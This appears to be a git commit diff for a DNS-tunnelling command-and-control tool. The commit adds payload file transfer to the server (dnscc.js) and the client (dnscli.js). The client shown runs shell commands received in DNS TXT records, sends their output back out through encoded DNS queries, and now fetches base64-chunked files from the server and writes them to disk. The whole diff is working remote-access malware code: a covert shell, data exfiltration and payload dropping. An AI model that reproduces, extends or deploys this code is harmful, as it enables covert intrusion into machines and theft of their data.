summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--dnscc.js98
-rw-r--r--dnscli.js35
2 files changed, 123 insertions, 10 deletions
diff --git a/dnscc.js b/dnscc.js
index 8956b2e..6dc6142 100644
--- a/dnscc.js
+++ b/dnscc.js
@@ -1,10 +1,13 @@
const dgram = require('dgram');
const Buffer = require('buffer').Buffer;
const readline = require('readline');
+const fs = require('fs');
+const path = require('path');
const host = '0.0.0.0';
const port = 53;
const commandQueue = [];
+const payloads = [];
const length_descending = (a, b) => b.length - a.length;
const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : [];
@@ -190,6 +193,23 @@ sock.on('message', function(req, rinfo) {
rl.prompt(true);
resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop';
}
+
+ if (resp.startsWith('payload ')) {
+ const pd = parseInt(resp.substr(8));
+
+ if (payloads[pd].chunks.length < 1) {
+ const pdata = payloads[pd].data;
+ const chunk_max = max_txt; // I have not edge case tested this math
+ const n_chunks = Math.ceil(pdata.length / chunk_max);
+
+ for (let j = 0; j < n_chunks; j++) {
+ payloads[pd].chunks[j] = pdata.substr(j*chunk_max, chunk_max);
+ }
+ }
+
+ const pobj = payloads[pd];
+ resp = 'payload ' + pobj.filename + ' ' + pd + ' ' + pobj.chunks.length;
+ }
}
} else {
const output = unpack(selector);
@@ -198,15 +218,39 @@ sock.on('message', function(req, rinfo) {
rl.prompt(true);
return;
}
- console.log();
- if (output === '\xde\xadDONE') {
- console.log();
+ if (output === '\xde\xadDN') {
rl.prompt(true);
+ resp = 'ok';
+ } else if (output === '\xde\xadPD') {
+ console.log('DONE');
+ rl.prompt(true);
+ resp = 'ok';
+ } else if (output.startsWith('\xde\xadPL')) {
+ const args = output.split(' ');
+ if (args.length < 3) {
+ console.log('\n[WARN] Malformed payload chunk request; tampering detected');
+ rl.prompt(true);
+ return;
+ }
+
+ try {
+ const pd = parseInt(args[1]);
+ if (pd > payloads.length) {
+ console.log('\n[WARN] Request for nonexistent payload; tampering detected');
+ rl.prompt(true);
+ return;
+ }
+ const chunknum = parseInt(args[2]);
+ resp = payloads[pd].chunks[chunknum];
+ } catch (e) {
+ console.log('\n[WARN] Malformed payload chunk request; tampering detected');
+ rl.prompt(true);
+ return;
+ }
} else {
- process.stdout.write(output);
+ console.log(output);
+ resp = 'ok';
}
-
- resp = 'ok';
}
const responseBuffer = buildResponse(query, i, resp);
@@ -266,7 +310,47 @@ const rl = readline.createInterface({
});
rl.on('line', function (cmd) {
- commandQueue.push(cmd.trim());
+ cmd = cmd.trim();
+ if (cmd == 'payload') {
+ console.log('Usage: payload <filename>|<payload number>');
+ console.log('Use "payloads" to see current stored payloads.');
+ rl.prompt();
+ return;
+ } else if (cmd == 'payloads') {
+ console.log('Stored payloads:');
+ for (let i = 0; i < payloads.length; i++) {
+ console.log(i+':', payloads[i].filename);
+ }
+ rl.prompt();
+ return;
+ } else if (cmd.startsWith('payload ')) {
+ const arg = cmd.substr(8);
+ let pd = parseInt(arg);
+ if (pd >= payloads.length) {
+ console.log('A payload with this number does not yet exist.');
+ rl.prompt();
+ return;
+ }
+ if (!Number.isInteger(pd)) {
+ pd = payloads.length;
+ try {
+ const data = fs.readFileSync(arg);
+
+ payloads.push({
+ filename: path.basename(arg),
+ data: data.toString('base64'),
+ chunks: [],
+ });
+ } catch (e) {
+ console.log('Could not read file', arg);
+ rl.prompt();
+ return;
+ }
+ }
+ commandQueue.push('payload '+pd);
+ } else {
+ commandQueue.push(cmd);
+ }
// rl.prompt();
});
diff --git a/dnscli.js b/dnscli.js
index befb9d6..b1de24d 100644
--- a/dnscli.js
+++ b/dnscli.js
@@ -7,6 +7,8 @@ const NOP_SLEEP_TIME = 1;
const dns = require('dns');
const cp = require('child_process');
+const Buffer = require('buffer').Buffer;
+const fs = require('fs');
process.on('SIGHUP', function() {});
@@ -28,8 +30,7 @@ function getDNSText(dest) {
function system(cmd) {
return new Promise(function(resolve, reject) {
cp.exec(cmd, function (err, stdout, stderr) {
- if (err) reject(err);
- else resolve({stdout, stderr});
+ resolve({stdout, stderr});
});
});
}
@@ -53,6 +54,19 @@ async function event() {
for (const record of records) {
const rtxt = record.join('');
+
+ if (rtxt.startsWith('payload ')) {
+ const args = rtxt.split(' ');
+ if (args.length < 4) continue;
+
+ const fn = args[1];
+ const pd = args[2];
+ const chunks = parseInt(args[3]);
+
+ await storePayload(fn, pd, chunks);
+ continue;
+ }
+
let {stdout, stderr} = await system(rtxt);
let packets = [];
stdout = stdout.trim();
@@ -68,7 +82,7 @@ async function event() {
packets = packets.concat(encode(line));
}
}
- packets = packets.concat(encode('\xde\xadDONE'));
+ packets = packets.concat(encode('\xde\xadDN'));
for (const packet of packets) {
await getDNSText(packet + DOMAIN);
@@ -76,6 +90,21 @@ async function event() {
}
}
+async function storePayload(name, desc, n_chunks) {
+ const parallel = [];
+ for (let i = 0; i < n_chunks; i++) {
+ const req = encode('\xde\xadPL '+desc+' '+i)[0];
+ parallel.push(getDNSText(req + DOMAIN).then(function(records) {
+ return records.map(r => r.join('')).join('');
+ }));
+ }
+ const chunks = await Promise.all(parallel);
+ const buffer = Buffer.from(chunks.join(''), 'base64');
+ fs.writeFileSync(name, buffer, {mode: 0o644});
+
+ await getDNSText(encode('\xde\xadPD')[0] + DOMAIN);
+}
+
function encode(s) {
const packets = [];
let parcel = '';